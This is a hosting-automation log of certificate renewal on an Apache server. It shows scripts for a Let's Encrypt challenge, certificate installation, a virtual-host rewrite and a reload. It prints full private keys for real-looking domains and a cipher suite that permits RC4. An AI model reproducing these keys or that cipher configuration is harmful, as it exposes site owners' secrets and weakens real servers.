77:cd:39:d4:ba:91:90:3c:3b:49:29:5c:d2:b3:f7:ab

-----BEGIN CERTIFICATE-----
MIIFJjCCBA6gAwIBAgISBaRWrsiJPgfWAaE1vuOCJy+7MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA4MDUwMjI3WhcNMjYwMTA2MDUwMjI2WjAjMSEwHwYDVQQD
Exh0ZXh0LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCvXit1wZrQ1SJbTxBG1pm96HKjBsasvR7cJFABYe6iApaLAtOh
nD5WQU6Y30jmpwwOUC4RPm/5/SaPx+lZ6127LYY+hzJnBtxlFRgC+RxCfH1+62fT
SpGlo5ZW1wM6CbGF/xcIRcKj8xzljreCVBVKmi6PgW9MUqvZyK8LcwL5fDLoDhZ+
3cWNLxPUp2uJuXQXXhcUqAE/cAvJRNbNreQ8I2GqdSwuc5YZCb2zTkThcr95kKLJ
dQ7xLLD41d22ahtr9YislUWRAwJIWd82bK8/PtncymNGeOw5I5R7OTdm06/uZhf8
IEuQDyStRhxvTyogPXAKHKKUkoREEPSGgoeDAgMBAAGjggJCMIICPjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFPFahgyujbyiJzeJNdiDnjBmwiv8MB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wPAYDVR0RBDUwM4IXc21zLmhvcGVp
bnN0b3VnaHRvbi5vcmeCGHRleHQuaG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAE
DDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVu
Y3Iub3JnLzYwLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3ABmG1Mcoqm/+
ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmcJolIoAAAQDAEgwRgIhANJoSmiU
tjPsihudue9DCkesk06n3jhqRBvPy7gUICmDAiEAhpzlvI0aXX4yYcRx4KI8KUJO
95Z7GM/L9SOHBtBuScEAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVO
IQAAAZnCaJSBAAAEAwBHMEUCIGMVAdl5sHbSJFNnNAqPJh5G8j91B+0zZKnSt6oC
r9JhAiEA8lCkoJTflvKvcUlQE+yFapLdcoc96lkw/z2jraXQMCwwDQYJKoZIhvcN
AQELBQADggEBAC/cRV9J4/Z+nkv8p7+MEVz33z80b/Ps2Ea24B7EV8oyTOGhWsYk
9o6MjVxs0HO+J61TzDl1roMrs2Hgh+suPMjp4XTVIq8+/fBWZMmxrO4Ykz+sEg/p
nn+TzePbX8PeUGmfVTsQCAlROjLrgcSjyoQ6m3HGj2YvM0SSUoMvJ3snaUQ6RnX/
grAbSzLs0pNuGf32zouRcIPFH3sticfcSkIJG4WAD0+FKKibdMYt/s+mhVuBlKpF
anKRJhN4WzDglb28g7mavXpc2QBmul4GOSou3YuD5l6ImvOoLx04JKZ/pbEMOoM9
20WfEpzflFPgytZibXELc3hxjXgygp6AmfA=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvXit1wZrQ1SJb
TxBG1pm96HKjBsasvR7cJFABYe6iApaLAtOhnD5WQU6Y30jmpwwOUC4RPm/5/SaP
x+lZ6127LYY+hzJnBtxlFRgC+RxCfH1+62fTSpGlo5ZW1wM6CbGF/xcIRcKj8xzl
jreCVBVKmi6PgW9MUqvZyK8LcwL5fDLoDhZ+3cWNLxPUp2uJuXQXXhcUqAE/cAvJ
RNbNreQ8I2GqdSwuc5YZCb2zTkThcr95kKLJdQ7xLLD41d22ahtr9YislUWRAwJI
Wd82bK8/PtncymNGeOw5I5R7OTdm06/uZhf8IEuQDyStRhxvTyogPXAKHKKUkoRE
EPSGgoeDAgMBAAECggEASnl7i27FCJr7FDvnda39bKEizgk6pnFKgcMKFww4A6WF
uVNh/OgVsRva/SEWHJ4kiI+UgM47T7cqgTUs7HsAO1WCBVv1E7veLS9gGyMf1Tx5
L0VZummYoPdwCUEWpbcoJPfIGENH/chpJTQOytJamGwSCe+2DHuvb7XCYOJfCQP5
go7sDABmWpV7a3jIV+AShjXx77FvStfMnenHxWRhh8Pnbsv2VPrQoYAujPT169x4
7J6JFb9EghwExo5dpW+LN5Ki8T3QigsVM04Rq6ivo/MyKEDRmAFLw8l13hyAsCUk
0z3H2OHk16TnC0n1GZSENrmnVrGkvt2otQ8auNdkAQKBgQDfa0oOjlxqo3kCqIEB
9Bg6scv4BXcoexH4TaDjrD9cO0jQqcgzaJSEbsN0Wqprn3NugKAVl8TOQPYD3SIz
OGQw7EFX8BnsBFQtHyogxh6oqMKPCK5WpBNAf7Wrw9p++pjSnsxzY29e/5wIKOXy
vcWLKFOzh6hxYu1aZkvu7Aj7wQKBgQDI8QZqvIOKfpxUttFjLTWyBG9jXgrQHkvC
MXttEUdSGfg6cU1WqG1UXdAcC2rxBJsfvARLE3ErjpSnWE5y5q+Ydd0BriA8aVRB
3B0Uz5MqKPdE6PrrXd0QRHSp4RIOeUY5b11ZVPo8Kxuhs/m618ldhaf4QcOhsyGs
FeqNSyGkQwKBgQCHRI8m9vxvOCBpAppxE1ekGcezl6OIZ9L+cgmqLryB3Ab/BvyG
W5goAmPmS4qI9JZP3iKOUEBA3EXXGwi82DSZBkGdu2oGYqyQUSERjMI9PUfmj8v1
+wsI7wmQQFlGrfTe+HQynI5uhvXyXsiySkGTOkxLEyRh2hJ4vBzXQCNEQQKBgGAt
PO0JncxEHX9OoZneoby68rWU5YgHeCtSk8j4ZDKfy3ftkx7PLsUawekqbd0+XyEp
VMS6YYh/jhcq5SGJ2LIYd9e+CB/iKjn7qM+1KrMbOH77JF5TZuPKYCyPVZ0n3rzO
2NdRHRR/bZJQGk+byP3CY0sn7wMOQiejtcg7FbcRAoGALcDzSl8gIV5k3Sc5QfH1
9VYCgDMg1jOWquU1b7pVI3KQdv/zCmaLjcGqKVARGHTvDElbewn4UGlJFmxENuDO
y1Z+wkiX2MkcuF5MDeFqgN17LUs1uZhGhU7bFBKpAaoj1vp8+2FhiSURfC5F25f3
eCD06+Sv48ayg/MwX8L0i9k=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-08 06:00:59: Establishing a connection
2025-10-08 06:00:59: Establishing a connection
2025-10-08 06:00:59: 

PUT: /tmp/pkp241827

#!/bin/bash
if [ -d "/var/www/hostz_jupiter/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-08 06:01:05: 

chmod 755 /tmp/pkp241827; /tmp/pkp241827; rm /tmp/pkp241827

2025-10-08 06:01:05: 


1


2025-10-08 06:01:05: Establishing a connection
2025-10-08 06:01:05: 

PUT: /tmp/pkp836654

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cat > 9202tasefdlwR_MpDvLXxnQMn9bM9VqS8gLbd8p2qNk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9202tasefdlwR_MpDvLXxnQMn9bM9VqS8gLbd8p2qNk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9202tasefdlwR_MpDvLXxnQMn9bM9VqS8gLbd8p2qNk


2025-10-08 06:01:05: 

chmod 755 /tmp/pkp836654; /tmp/pkp836654; rm /tmp/pkp836654

2025-10-08 06:01:06: 




2025-10-08 06:01:11: Establishing a connection
2025-10-08 06:01:11: 

PUT: /tmp/pkp729507

#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
rm 9202tasefdlwR_MpDvLXxnQMn9bM9VqS8gLbd8p2qNk


2025-10-08 06:01:12: 

chmod 755 /tmp/pkp729507; /tmp/pkp729507; rm /tmp/pkp729507

2025-10-08 06:01:12: 




2025-10-08 06:01:12: Establishing a connection
2025-10-08 06:01:12: 

PUT: /tmp/pkp764808

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
71:d6:17:65:7a:77:9f:e3:bc:f9:17:61:7f:0b:51:43

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBelY4MdM2V/z0EBBy4B0WHSGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA4MDUwMjQwWhcNMjYwMTA2MDUwMjM5WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOG6ySWE8QRUnUWNxoc/vBta93vJU390ulY8GOc4U6MxvWp44xd59IBaaKD4
v1X8WqAjdmTPWCV8pLLqA3jsVUl4kDrGcTnahXx7QswwzTL1xUJ6ODepb99owZT+
wZoG769o/xmXlujrvQCV+q5IBQrC7sVXmk8wWtGXj3RaYZklzM9XGq1Os07JMgpz
Bh3A/CHBa7ZgLs69uy8w8TDdnML1aqxFuxV9D/ViT0bCwNFRIiOw3FsAzTTkVzNm
ltzDgMr8YT2e6ITcGA1h1kBwDXtpfvoxbyAqVRPYGlkc7r4xtvH4YZ+YqyDst7CN
FPKq9WEDsUG6PDUIYFwXd7//SekCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUi4x3twhwuoYDuH52PvwTDV8CNU4wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFqdXBpdGVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKgIKAehhxodHRwOi8v
cjEyLmMubGVuY3Iub3JnLzcuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA
GYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZwmjIzQAABAMARjBE
AiBXZAXIDTf9lZRJGc0BZDSrcE5bKczJbbZD0803x0+73QIgTLPdWl/N+zLgNcGd
nzDbi9mw7atnNHY8bWlz8MgZ91gAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZu
RqQ/D8qpxgAAAZnCaMkeAAAEAwBHMEUCIElVJEXS0VIw3HwlgfJJ4AnzyJ8Svyv3
pXG9F7B85uaEAiEAgPkfIcgDQkE1Aj9Tly14yPZEtY1EU4G2li5MnK+Ec5YwDQYJ
KoZIhvcNAQELBQADggEBAMWgT2BX5YFq3lCamQNxlmcZ4GD7G+oAZxciU4luV0h2
wKAs8dMuZFxLr5mIGiQgDrk7udEliucg+5X7FMajjx7HLKAljnverWcTFx917duw
F3ZCe5g17Gt3nfEWK9aNz37qJfKnZ9VSEKKDn4Ul7d1eRoKYKk6TX+veuNpj6v7b
78XFJZSbHJzGQ6XHImfsGfEhVQi1/1IINNnKNlbGxl9/hiHWp2r8HhiD+y4aEmJD
IeABce2zY4frwi/kYM4nxHdF4IaFIE0gWWV2altv0q1YNBm6QdVYiu0Mb0lOIlcU
tWwFzgWlEQVrUx0miU9bwbrW8gG8xN6KuS2dcujMuAg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhusklhPEEVJ1F
jcaHP7wbWvd7yVN/dLpWPBjnOFOjMb1qeOMXefSAWmig+L9V/FqgI3Zkz1glfKSy
6gN47FVJeJA6xnE52oV8e0LMMM0y9cVCejg3qW/faMGU/sGaBu+vaP8Zl5bo670A
lfquSAUKwu7FV5pPMFrRl490WmGZJczPVxqtTrNOyTIKcwYdwPwhwWu2YC7Ovbsv
MPEw3ZzC9WqsRbsVfQ/1Yk9GwsDRUSIjsNxbAM005FczZpbcw4DK/GE9nuiE3BgN
YdZAcA17aX76MW8gKlUT2BpZHO6+Mbbx+GGfmKsg7LewjRTyqvVhA7FBujw1CGBc
F3e//0npAgMBAAECggEAOz36bI5ncuuCGy8KW5Sumb9WFHbSIzFPdjJvlr+Bs+Lq
A3eWoiKvuMABlb2y+a4xWrXz7KE+URhVYV9paeMcvxuVPte1/6kKP5FaBp0IPcei
7b+F4ZXmdovXwnLZ/MK1RSQZT24pfRfhkrXKBNOB/0EJyWEkboQSUc+lJrRRyQ9U
cxNvkGvDfqzaHn/fZoz7BQ+af3TGOCdAcYAU7A8sZWUxG6Pmm9p9FJUNdYplDESQ
1kps4JjiFH7up2AOEd7jMnWeku/LIycPkvQyVT+SJBJSFgs01LtFHn4Z4lj6tVlr
nt8tkQrnX9fLo0KBOdqY1ypNJ/DyfWE4na3RsYy4AQKBgQDwmqQPa3qE1ZPKBQsu
Ym/w71wLtGCtUugoFdJy8ijrSJ+iNsx61TmITYVwtqAJdSFfSCR/LDLleN0ScNhf
C4WsJq+QswqG2B9swOca9jTIsdcZl4axz0PXk8Lti2jNg8e346JMrVbi3cyl5sR2
DlTDBUI8tfJFPlyfmy7inuDHuQKBgQDwLHw7isTh4BRphOZTd/oZdHDP8oejG2zn
RS3RLMjPLWRzbkFBNQ4NvfpeSUqQ66RBJesYrDfWY6ne+wOKL1oYA+ajKt8vnyFc
kEsGZsepOmIzQGpHrQ8Qw22jY+1TvRdY8wcSj8d9zX8niFKswhtWDZliLQehfxHT
WET9caJLsQKBgQC42iZ3zlx4F9sO1+cqQOi+FDgEqhWotEy3F2TzeQdlFQvIRg+9
w3oLNXvzB+xWt83m9XdM2XlVAhHfLCGgjCqsA6DZLCVHSl6CYIZuGYCePLwE5nzO
uW3m/5hAht4DH17e8h3siTR64mtrfqusBACtQKoOGL/E4U+qNEDGTchmyQKBgQC8
zywHHwuySpehcIIlgj9SPZDmWVK6LjhKA7+GHr/q51N9z2JrYcsfkIdAEjwVe7pQ
IQAWEGWBHC6SBiF9Q8Z+9KofAfgdFuuCOklQygISjrxecDhdCra6RfhuJ4OOfivZ
mIyp0fBRfPiGWowsFhipaN15Kc9C7YNU86Kg3/FnsQKBgEK/VgnhLpxrROHjMkiC
A4BQeAMghPoltXfcch4FvSGw1W88C0B11HYjX64ScSZVc3M2j0B3bBEUJT3NYo8k
vXQpCl1u28NKT3B1klR9anBwGK7IvkopmFoiTS7aIr5N3BPS/yY6TfifOcYmkro+
/t9kmN73WcC4ulm1urDmQkJI
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-08 06:01:12: 

chmod 755 /tmp/pkp764808; /tmp/pkp764808; rm /tmp/pkp764808

2025-10-08 06:01:12: 


dir=/etc/ssl/certs


2025-10-08 06:01:12: 

PUT: /tmp/pkp963771

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_jupiter_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-08 06:01:12: 

chmod 755 /tmp/pkp963771; /tmp/pkp963771; rm /tmp/pkp963771

2025-10-08 06:01:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 41

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-08 06:01:12: 

PUT: /tmp/pkp376502

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_jupiter_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_jupiter_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	jupiter.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_jupiter
    <Directory /var/www/hostz_jupiter>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/jupiter_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/jupiter_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_jupiter_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf= 1'
fi


2025-10-08 06:01:12: 

chmod 755 /tmp/pkp376502; /tmp/pkp376502; rm /tmp/pkp376502

2025-10-08 06:01:12: 




2025-10-08 06:01:12: 

PUT: /tmp/pkp953069

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-08 06:01:12: 

chmod 755 /tmp/pkp953069; /tmp/pkp953069; rm /tmp/pkp953069

2025-10-08 06:01:13: 


.


2025-10-08 06:01:13: Establishing a connection
2025-10-08 06:01:13: 

PUT: /tmp/pkp948350

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-08 06:01:13: 

chmod 755 /tmp/pkp948350; /tmp/pkp948350; rm /tmp/pkp948350

2025-10-08 06:01:13: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
